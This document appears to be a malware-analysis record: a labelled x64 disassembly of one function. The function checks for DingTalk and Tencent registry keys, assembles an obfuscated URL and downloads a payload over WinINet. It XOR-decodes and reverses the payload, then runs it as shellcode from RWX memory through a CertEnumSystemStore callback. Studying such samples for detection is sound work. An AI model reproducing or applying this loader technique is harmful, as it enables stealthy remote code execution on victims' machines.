Function at 0x140002380
Capabilities:
Create http request
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
xor esi, esi
mov qword [rsp + 0x58], 7
lea rdx, str.SOFTWAREDingTalk
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rsi
lea r8d, [rsi + 0x11]
call fcn.140002c30
lea r8d, [rsi + 0x10]
mov qword [rsp + 0x60], rsi
lea rdx, str.SOFTWARETencent
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], 7
call fcn.140002c30
lea r8d, [rsi + 0x1d]
mov qword [rbp - 0x80], rsi
lea rdx, str.SOFTWAREWOW6432NodeDingTalk
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], 7
call fcn.140002c30
lea r8d, [rsi + 0x1c]
mov qword [rbp - 0x60], rsi
lea rdx, str.SOFTWAREWOW6432NodeTencent
mov qword [rbp - 0x50], rsi
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x48], 7
call fcn.140002c30
mov qword [rsp + 0x30], 0xffffffff80000001
lea rdi, [rsp + 0x40]
mov r14d, esi
nop dword [rax + rax]
mov rbx, rsi
cmp qword [rdi + 0x18], 8
mov rdx, rdi
jb 0x140002460
mov rdx, qword [rdi]
mov rcx, qword [rsp + rbx*8 + 0x30]
lea rax, [rsp + 0x38]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400024c0
inc rbx
cmp rbx, 1
jb 0x140002453
inc r14
add rdi, 0x20
cmp r14, 4
jb 0x140002450
call fcn.140001cb0
test al, al
jne 0x1400024cb
mov edx, 0x20
lea r9, [0x140002a70]
lea rcx, [rsp + 0x40]
lea r8d, [rdx - 0x1c]
call fcn.1400044f8
jmp 0x140002a3e
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0x20
mov qword [rsp + 0x4e0], r12
lea r9, [0x140002a70]
lea rcx, [rsp + 0x40]
lea r8d, [rdx - 0x1c]
call fcn.1400044f8
lea rax, [0x14005d3f0]
mov qword [rbp - 0x38], rax
lea rcx, [0x14005d3ec]
lea rax, [0x14005d3f4]
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x30], rax
lea rdx, [0x14005d430]
lea rax, str.s:_x
mov qword [rbp + 0x88], rcx
mov qword [rbp - 0x28], rax
lea rcx, [0x14005d454]
lea rax, [0x14005d3fc]
mov qword [rbp + 0x48], rdx
mov qword [rbp - 0x20], rax
lea rax, [0x14005d400]
mov qword [rbp - 0x18], rax
lea rax, [0x14005d404]
mov qword [rbp - 0x10], rax
lea rax, [0x14005d408]
mov qword [rbp - 8], rax
lea rax, [0x14005d40c]
mov qword [rbp], rax
lea rax, [0x14005d410]
mov qword [rbp + 8], rax
lea rax, [0x14005d414]
mov qword [rbp + 0x10], rax
lea rax, [0x14005d418]
mov qword [rbp + 0x18], rax
lea rax, [0x14005d41c]
mov qword [rbp + 0x20], rax
lea rax, [0x14005d420]
mov qword [rbp + 0x28], rax
lea rax, [0x14005d424]
mov qword [rbp + 0x30], rax
lea rax, [0x14005d428]
mov qword [rbp + 0x38], rax
lea rax, [0x14005d42c]
mov qword [rbp + 0x40], rax
lea rax, [0x14005d434]
mov qword [rbp + 0x50], rax
lea rax, [0x14005d438]
mov qword [rbp + 0x58], rax
lea rax, [0x14005d43c]
mov qword [rbp + 0x60], rax
lea rax, [0x14005d440]
mov qword [rbp + 0x68], rax
lea rax, str.ngzou.qc
mov qword [rbp + 0x70], rax
lea rax, [0x14005d448]
mov qword [rbp + 0x78], rax
lea rax, [0x14005d44c]
mov qword [rbp + 0x80], rax
lea rax, [0x14005d450]
mov qword [rbp + 0x90], rax
lea rax, [0x14005d458]
mov qword [rbp + 0xa0], rax
lea rax, [0x14005d45c]
mov qword [rbp + 0xa8], rax
lea rax, [0x14005d460]
mov qword [rbp + 0xb0], rax
lea rax, [0x14005d464]
mov qword [rbp + 0xb8], rax
lea rax, [0x14005d468]
mov qword [rbp + 0xc0], rax
lea rax, [0x14005d46c]
mov qword [rbp + 0xd0], rax
lea rax, [0x14005d470]
mov qword [rbp + 0xe0], rax
lea rax, [0x14005d474]
mov qword [rbp + 0xe8], rax
lea rax, [0x14005d478]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x98], rcx
mov qword [rbp + 0xc8], rcx
mov qword [rbp + 0xd8], rdx
lea rax, [0x14005d47c]
mov r8, rsi
mov qword [rbp + 0xf8], rax
mov rdx, rsi
mov r9, rsi
mov r10, rsi
mov r11, rsi
nop
mov rcx, qword [rbp + rdx*8 - 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x1400026e0
mov rcx, qword [rbp + rdx*8 - 0x38]
add r8, rax
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x140002700
mov rcx, qword [rbp + rdx*8 - 0x30]
add r11, rax
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x140002720
mov rcx, qword [rbp + rdx*8 - 0x28]
add r10, rax
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x140002740
add r9, rax
add rdx, 4
cmp rdx, 0x28
jb 0x1400026d0
lea rcx, [r11 + r10]
inc r8
add rcx, r9
add rcx, r8
call fcn.14002c090
mov rbx, rax
test rax, rax
jne 0x140002790
lea ecx, [rax + 2]
call fcn.140014988
mov rcx, rax
lea rdx, str.Memory_allocation_error_n
call fcn.140001090
mov rbx, rsi
jmp 0x1400027d9
mov byte [rax], sil
mov r9, rsi
nop word [rax + rax]
lea rax, [rbx - 1]
cmp byte [rax + 1], sil
lea rax, [rax + 1]
jne 0x1400027a4
mov r8, qword [rbp + r9*8 - 0x40]
xor edx, edx
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400027c0
inc r9
cmp r9, 0x28
jb 0x1400027a0
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [0x14005d3e8]
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x140002a36
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov qword [rsp + 0x4e8], r15
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
je 0x140002a25
mov ebx, esi
mov r14, rsi
nop dword [rax + rax]
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rbp - 0x40]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002a0f
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400028ae
lea ecx, [rbx + rax]
call fcn.140004618
mov rdi, rax
test r14, r14
je 0x14000288e
mov r8d, ebx
mov rdx, r14
mov rcx, rax
call fcn.140014150
mov rcx, r14
call fcn.1400044b4
mov r8d, dword [rsp + 0x30]
lea rdx, [rbp - 0x40]
mov ecx, ebx
add rcx, rdi
call fcn.140014150
mov eax, dword [rsp + 0x30]
mov r14, rdi
add ebx, eax
test eax, eax
jne 0x140002840
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movsxd r8, ebx
mov rcx, rsi
test ebx, ebx
je 0x14000296d
cmp r8, 0x40
jb 0x14000294a
movdqa xmm2, xmmword [str.iiiiiiiiiiiiiiii]
lea rax, [r14 + 0x20]
mov rdx, r8
and rdx, 0xffffffffffffffc0
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rcx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp rcx, rdx
jb 0x1400028f0
cmp rcx, r8
jae 0x14000296d
mov rdx, r8
lea rax, [rcx + r14]
sub rdx, rcx
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x69
lea rax, [rax + 1]
sub rdx, 1
jne 0x140002960
mov rcx, r8
call fcn.140004618
movsxd r8, ebx
mov r10, rax
sub r8, 1
js 0x1400029c1
lea rdx, [r8 + r14]
nop word [rax + rax]
movzx ecx, byte [rdx]
lea rdx, [rdx - 1]
mov byte [rax + rsi], cl
inc rsi
cmp rsi, r8
jle 0x140002990
mov r9, r10
lea rdx, [r8 + 1]
sub r9, r14
mov rcx, r14
nop
movzx eax, byte [r9 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1400029b0
mov rcx, r10
call fcn.1400044b4
mov r9d, 0x40
mov edx, ebx
mov r8d, 0x1000
mov edi, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, edi
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.140014150
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
mov rcx, r14
call fcn.1400044b4
jmp 0x140002a2e
test r14, r14
je 0x140002a1c
mov rcx, r14
call fcn.1400044b4
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r15, qword [rsp + 0x4e8]
mov r12, qword [rsp + 0x4e0]
lea r11, [rsp + 0x4c0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret